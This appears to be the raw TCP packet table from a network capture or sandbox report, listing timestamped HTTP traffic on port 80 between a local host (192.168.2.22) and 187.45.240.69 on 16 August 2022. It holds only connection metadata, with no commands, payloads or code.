                                                              Aug 16, 2022 10:33:27.005184889 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005203009 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005218029 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005232096 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005294085 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005311966 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005328894 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005338907 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005371094 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005403996 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005419970 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005449057 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005454063 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005484104 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005623102 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005656958 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005698919 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005731106 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005742073 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005774975 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005814075 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005847931 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006061077 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006099939 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006129980 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006162882 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006167889 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006201029 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006295919 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006330967 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006334066 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006366014 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006537914 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006568909 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006656885 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006675005 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006690979 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006702900 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006777048 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006793976 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006809950 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006809950 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006823063 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006839991 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006899118 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006932020 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.006953001 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.006985903 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007056952 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007090092 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007103920 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007136106 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007163048 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007179976 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007196903 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007210970 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007298946 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007316113 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007332087 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007344007 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007383108 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007401943 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007440090 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007479906 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007497072 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007513046 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007524967 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.007569075 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.007601023 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.009124994 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.137665033 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.139146090 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.153400898 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.168987036 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169070005 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169183016 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169234037 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169346094 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169364929 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169382095 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169408083 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169409990 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169414997 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169425011 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169428110 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169444084 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169456959 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169460058 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169473886 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169503927 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169522047 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169526100 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169529915 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169538975 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169543028 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169560909 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169568062 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169578075 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169585943 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169610977 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169622898 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169627905 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169641972 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169661999 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169662952 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169677973 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169680119 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169696093 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169697046 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169713974 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169714928 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169730902 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169733047 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169744968 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169754982 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169773102 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169786930 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169904947 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.169943094 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.169986963 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.170022964 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.170146942 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.170183897 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.170382977 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.170418978 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.170664072 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.170716047 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.170840025 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.170883894 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.171144962 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.171190977 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.171957016 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.172012091 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.172388077 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.172435999 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.172575951 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.172615051 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.393824100 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.393850088 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.394061089 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.397084951 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406073093 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406104088 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406147957 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406193018 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406219006 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406241894 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406244040 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406301022 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406310081 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406367064 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406393051 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406449080 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406470060 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406521082 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.406550884 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.406618118 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.413589954 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.413614035 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.413666010 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.413671970 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.413678885 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.413722992 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.413749933 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.413800001 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.413865089 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.413914919 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.636327028 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.636363983 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.636379004 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.636531115 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.639796972 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.645486116 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.645515919 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.645534039 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.645592928 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.645613909 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.645620108 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.645653963 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.645704985 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.647413015 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873634100 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873665094 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873682022 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873699903 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873718023 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873728037 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873734951 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873742104 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873754025 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873759985 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873774052 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873774052 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873792887 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873807907 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.873811960 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873815060 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.873825073 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.874093056 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.878355026 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885432005 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885454893 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885499001 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885616064 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885632992 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885649920 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885652065 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885665894 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885665894 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885679960 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885694981 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885696888 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885727882 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885776043 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885809898 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885833979 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885852098 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885864973 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885869026 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885879040 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885881901 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.885895967 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.885910034 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.892644882 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.893098116 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.126878023 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.126904011 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.126921892 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.126938105 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.126951933 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.127047062 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.127065897 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.130543947 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133493900 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133533955 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133579016 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133579969 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133594990 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133609056 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133614063 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133625984 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133639097 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133677006 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133687019 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133704901 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133723974 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133734941 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133779049 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133816957 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133819103 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133851051 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133871078 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133899927 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133907080 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133939028 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133940935 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133968115 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.133976936 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.133986950 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.134006977 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.134016037 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.134022951 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.134031057 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.134052038 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.134063959 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.142261028 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.365699053 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.365808010 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.365809917 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.365861893 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.473766088 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.602994919 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.705982924 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.706008911 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.706072092 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.706147909 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.709773064 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.845793009 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.845832109 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.845848083 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.845892906 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.845926046 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.850099087 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945609093 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945640087 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945657015 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945672989 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945689917 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945705891 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945710897 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945724010 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945732117 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945739985 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945743084 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945751905 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945760965 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945777893 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945780039 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945795059 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945800066 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945811987 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945816040 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945830107 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945837021 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945841074 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945853949 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945871115 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945873022 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945882082 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945888996 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:28.945902109 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.945923090 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.948895931 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:28.950799942 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.093925953 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.093955994 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.093972921 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.093990088 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.094007969 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.094022989 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.094032049 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.094041109 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.094063997 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.094069004 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.094073057 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.094075918 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.098071098 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185622931 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185661077 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185678005 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185695887 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185714006 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185731888 CEST8049202187.45.240.69192.168.2.22
